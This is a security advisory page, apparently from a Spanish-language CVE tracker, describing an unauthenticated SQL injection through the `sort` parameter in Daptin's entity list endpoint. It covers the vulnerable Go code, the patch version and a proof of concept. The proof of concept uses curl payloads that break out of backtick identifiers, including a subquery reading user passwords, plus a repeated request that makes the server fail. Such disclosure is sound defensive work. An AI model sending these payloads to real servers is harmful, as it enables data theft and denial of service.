GHSA-HQ2P-F2VJ-V3CM
Daptin: Unauthenticated SQL Injection via the `sort` query parameter on every entity list endpoint
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CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:H
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Remediación | Parche v0.12.30 | github.com/daptin/daptin · -115 d desde divulgación | |
| Monitoreo | Detectada | Ingresó al índice | |
| Divulgación | Publicada | GHSA-HQ2P-F2VJ-V3CM divulgada · CVSS 9.4 (GitHub) | |
| Divulgación | Modificada | Última actualización del registro | |
| Monitoreo | Fuente: GitHub Security Advisories | Registro visto por primera vez en GitHub Security Advisories | |
| Monitoreo | Fuente: OSV | Registro visto por primera vez en OSV | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
An unauthenticated attacker can inject arbitrary SQL through the `sort` query parameter accepted by
Daptin's generic entity list endpoint (`GET /api/<entity>`), which every table in a Daptin instance
exposes. The parameter is concatenated into raw SQL identifiers with no validation that the
referenced column exists, unlike a sibling code path in the same file that received exactly this
validation as the fix for a previously published advisory
(GHSA-rw2c-8rfq-gwfv https://github.com/daptin/daptin/security/advisories/GHSA-rw2c-8rfq-gwfv).
Impact ranges from unauthenticated denial of service (a single crafted request 500s the query) to
blind/error-based extraction of data from tables the requester has no permission to read.
Details
`PaginatedFindAllWithoutFilters` in `server/resource/resource_findallpaginated.go` reads the `sort`
query parameter directly from the request with no validation:
// server/resource/resource_findallpaginated.go:300-302
var sortOrder []string
if len(req.QueryParams["sort"]) > 0 {
sortOrder = req.QueryParams["sort"]Each entry is then concatenated with the table name and passed to `goqu.I()` (goqu's raw SQL
*identifier* constructor) in two separate places, with no check that the referenced column exists
on the table:
// server/resource/resource_findallpaginated.go:435-449 (SELECT column list)
for _, sort := range sortOrder {
...
if strings.Index(sort, "(") == -1 {
sort = prefix + sort
}
idQueryCols = append(idQueryCols, goqu.I(sort).As(strings.ReplaceAll(sort, ".", "_")))
}// server/resource/resource_findallpaginated.go:916-943 (ORDER BY clause)
for _, so := range sortOrder {
...
orders = append(orders, goqu.I(ord).Asc())
}`goqu.I()` renders its argument by wrapping it in the dialect's quote character (a backtick, in
this build's configured dialect) without escaping an embedded quote character of the same kind.
A backtick supplied in `sort` closes the identifier early, and the remainder of the attacker string
is parsed as raw SQL grammar rather than treated as inert column-name text.
This is the same bug class as GHSA-rw2c-8rfq-gwfv ("SQL injection via unvalidated `goqu.L()` calls
in aggregate API", CWE-89, fixed in v0.11.4). That fix added an allow-list check a few hundred lines
later in the same file, in the fuzzy-search code path:
// server/resource/resource_findallpaginated.go:1491-1505
// Validate each column against table schema (prevents SQL injection via goqu.L)
tableInfo := dbResource.tableInfo
var validColumns []string
for _, col := range columns {
if _, ok := tableInfo.GetColumnByName(col); ok {
validColumns = append(validColumns, col)
} else {
log.Warnf(...)
}
}The identical validation was never applied to the base `sort` parameter handling earlier in the
same file. Unlike fuzzy search (which requires an explicit `filter` operator to reach), plain `sort`
is processed on every list request to every entity, authenticated or not.
PoC
Build current HEAD and run it with a fresh SQLite database and no custom schema:
go build -buildvcs=false -o daptin_bin .
./daptin_binNo account needs to exist. `world` (and most default tables) are guest-readable, so all requests
below are sent with no `Authorization` header at all:
# 1) Reflection -- proves raw, unsanitized concatenation
curl -s -G "http://localhost:6336/api/world" --data-urlencode 'sort=email" --'
# => {"errors":[{"status":"500","title":"no such column: world.email\" --"}]}
# Server log shows the exact constructed query:
# SELECT distinct(user_account.id), `user_account`.`email" --` AS `user_account_email" --`
# FROM `user_account` LEFT JOIN ... WHERE (...) ORDER BY `user_account`.`email" --` ASC LIMIT ? == [10]
# 2) Backtick breakout -- proves the payload is parsed as SQL grammar, not literal text
curl -s -G "http://localhost:6336/api/user_account" \
--data-urlencode 'sort=id`,(select password from user_account limit 1)'
# => {"errors":[{"status":"500","title":"near \"``\": syntax error"}]}
# 3) Zero credentials, reliable across repeated attempts
for i in 1 2 3; do
curl -s -o /dev/null -w "%{http_code}\n" -G "http://localhost:6336/api/world" \
--data-urlencode 'sort=`x'
done
# => 500 / 500 / 500Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
gogithub.com/daptin/daptin |
Corregida | v0.12.30 | -115 d | v0.13.57 no afectada |
0.12.30v0.12.30Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://nvd.nist.gov/vuln/detail/CVE-2026-77367https://github.com/daptin/daptin/security/advisories/GHSA-hq2p-f2vj-v3cmhttps://github.com/daptin/daptin/commit/b0bcc1318832b9055781f032853ef9d2264652cfhttps://github.com/daptin/daptinhttps://github.com/daptin/daptin/releases/tag/v0.12.30Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
